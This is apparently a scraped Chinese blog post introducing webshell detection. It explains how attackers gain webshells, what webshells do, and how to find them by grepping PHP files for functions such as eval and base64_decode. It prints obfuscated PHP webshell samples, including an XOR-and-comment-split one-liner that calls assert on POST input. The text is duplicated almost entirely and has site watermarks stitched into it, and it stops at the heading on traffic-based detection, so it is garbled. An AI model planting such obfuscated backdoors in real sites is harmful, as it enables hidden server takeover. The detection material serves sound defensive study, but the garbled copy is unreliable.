Webshell入侵检测初探(一)
0×01:Webshell简介
攻击者在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。常见攻击方式有:直接上传获取webshell、SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本(XSS)作为攻击的一部分,甚至一些比较老旧的方法利用后台数据库备份及恢复获取webshell、数据库压缩等。通用功能包括但不限于shell命令执行、代码执行、数据库枚举和文件管理。
1.Webshell分类
webshell从协议上来看,最开始基于 TCP、UDP 的 Shell,到后来基于ICMP 的 Shell和基于DNS 的shell 。从依托工具上看,有 nc 反弹、telnet 反弹、SSH 端口转发等手段,极度猥琐的甚至还有利用 awk 的反弹 Shell。从语言上看,各种流行的语言都能用来写后门,从bash 到 3P(Perl Python PHP)再到 Ruby 和 Java。
2.Webshell功能
(1)站长工具
Webshell被站长常常用于网站管理、服务器管理等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
(2)持续远程访问
入侵者可以利用从而达到长期控制网站服务器的目的,若攻击者自行修复了漏洞,以确保没有其他人会利用该漏洞,攻击者可以低调的随时控制服务器。一些流行的webshell使用密码验证和其他技术来确保只有上传webshell的攻击者才能访问它。(webshell密码爆破工具表示不服)
(3)权限提升
在服务器没有配置错误的情况下,webshell将在web服务器的用户权限下运行,该用户权限是有限的。通过使用webshell,攻击者可以尝试通过利用系统上的本地漏洞来执行权限提升,常见的有查找敏感配置文件、通过内核漏洞提权、利用低权限用户目录下可被Root权限用户调用的脚本提权、任务计划等(从入门到放弃)
(4)极强的隐蔽性
有些恶意网页脚本可以嵌套在正常网页中运行,且不容易被查杀。webshell还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,webshell使用post包发送,也不会被记录在系统日志中,只会在web日志中记录一些数据提交的记录。
0×02:WebShell检测
1.基于webshell特征检测
常见webshell函数
(1)存在系统调用的命令执行函数,如eval、system、cmd_shell、assert等;
(2)存在系统调用的文件操作函数,如fopen、fwrite、readdir等;
(3)存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
(4)具备很深的自身隐藏性、可伪装性,可长期潜伏到web源码中;
(5)衍生变种多,可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测;
//利用base64编码
$b = base64_encode(‘whoami‘);
echo $b.‘‘;
echo base64_decode($b).'';?>//利用gzcompress压缩
$c = gzcompress('whoami');
echo $c.'
';
echo gzuncompress($c)."";?>
//进制运算 @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ?>
//利用注释符
@${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); ?>
以上对于webshell本身的行为分析 ,它带有对于系统调用、系统配置、数据库、文件的操作动作,可以通过关键词匹配脚本文件找出webshell,再如一些压缩后的数据, 有可能一些WAF并不会检测到内容存在危险。变性后的数据,WAF也检测不出存在的危险,首先脚本文件带有这些特殊的函数,本身就是可疑文件,当然也还有其他方式可以去进行检测。
这类检测可以通过grep去查找webshell,D盾之类的webshell查杀工具也是利用这种原理,对源码进行查杀。但经常会存在黑客在上传完webshell后门,获取到自己想要的信息后,就会删除掉webshell,又或者遇到了一些变形过的webshell后门,我们的关键字没有搜索到,这时候通过文件去找到webshell的方法就不适用了。
find /site/* -type f -name "*.php" |xargs grep "eval"
如果木马做了免杀处理,可以查看是否使用加密函数:
find /site/* -type f -name “*.php” |xargs grep "base64_decode"
查看是否做了拼接处理:
find /site/* -type f -name “*.php” |xargs grep "@$"
对搜索到的内容,手动查看是否是木马,可以在本地打开脚本文件,查看网页生成时间或者上传至一些检测的网站进行检测(http://www.virscan.org/;https://x.threatbook.cn/),当然去分析代码也是完全没问题的。
2.基于流量特征的webshell检测
0×01:Webshell简介
攻击者在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。常见攻击方式有:直接上传获取webshell、SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本(XSS)作为攻击的一部分,甚至一些比较老旧的方法利用后台数据库备份及恢复获取webshell、数据库压缩等。通用功能包括但不限于shell命令执行、代码执行、数据库枚举和文件管理。
1.Webshell分类
webshell从协议上来看,最开始基于 TCP、UDP 的 Shell,到后来基于ICMP 的 Shell和基于DNS 的shell 。从依托工具上看,有 nc 反弹、telnet 反弹、SSH 端口转发等手段,极度猥琐的甚至还有利用 awk 的反弹 Shell。从语言上看,各种流行的语言都能用来写后门,从bash 到 3P(Perl Python PHP)再到 Ruby 和 Java。
2.Webshell功能
(1)站长工具
Webshell被站长常常用于网站管理、服务器管理等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。 无奈人生安全网
(2)持续远程访问
入侵者可以利用从而达到长期控制网站服务器的目的,若攻击者自行修复了漏洞,以确保没有其他人会利用该漏洞,攻击者可以低调的随时控制服务器。一些流行的webshell使用密码验证和其他技术来确保只有上传webshell的攻击者才能访问它。(webshell密码爆破工具表示不服)
(3)权限提升
在服务器没有配置错误的情况下,webshell将在web服务器的用户权限下运行,该用户权限是有限的。通过使用webshell,攻击者可以尝试通过利用系统上的本地漏洞来执行权限提升,常见的有查找敏感配置文件、通过内核漏洞提权、利用低权限用户目录下可被Root权限用户调用的脚本提权、任务计划等(从入门到放弃)
(4)极强的隐蔽性
有些恶意网页脚本可以嵌套在正常网页中运行,且不容易被查杀。webshell还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,webshell使用post包发送,也不会被记录在系统日志中,只会在web日志中记录一些数据提交的记录。
0×02:WebShell检测
www.wnhack.com
1.基于webshell特征检测
常见webshell函数
(1)存在系统调用的命令执行函数,如eval、system、cmd_shell、assert等;
(2)存在系统调用的文件操作函数,如fopen、fwrite、readdir等;
(3)存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
(4)具备很深的自身隐藏性、可伪装性,可长期潜伏到web源码中;
(5)衍生变种多,可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测;
//利用base64编码
$b = base64_encode(‘whoami‘);
echo $b.‘‘;
echo base64_decode($b).'';?>//利用gzcompress压缩
$c = gzcompress('whoami');
echo $c.'
';
echo gzuncompress($c)."";?>
//进制运算 @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ?>
//利用注释符
@${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); ?> copyright 无奈人生
以上对于webshell本身的行为分析 ,它带有对于系统调用、系统配置、数据库、文件的操作动作,可以通过关键词匹配脚本文件找出webshell,再如一些压缩后的数据, 有可能一些WAF并不会检测到内容存在危险。变性后的数据,WAF也检测不出存在的危险,首先脚本文件带有这些特殊的函数,本身就是可疑文件,当然也还有其他方式可以去进行检测。
这类检测可以通过grep去查找webshell,D盾之类的webshell查杀工具也是利用这种原理,对源码进行查杀。但经常会存在黑客在上传完webshell后门,获取到自己想要的信息后,就会删除掉webshell,又或者遇到了一些变形过的webshell后门,我们的关键字没有搜索到,这时候通过文件去找到webshell的方法就不适用了。
find /site/* -type f -name "*.php" |xargs grep "eval"
如果木马做了免杀处理,可以查看是否使用加密函数: 内容来自无奈安全网
find /site/* -type f -name “*.php” |xargs grep "base64_decode"
查看是否做了拼接处理:
find /site/* -type f -name “*.php” |xargs grep "@$"
对搜索到的内容,手动查看是否是木马,可以在本地打开脚本文件,查看网页生成时间或者上传至一些检测的网站进行检测(http://www.virscan.org/;https://x.threatbook.cn/),当然去分析代码也是完全没问题的。
2.基于流量特征的webshell检测
www.wnhack.com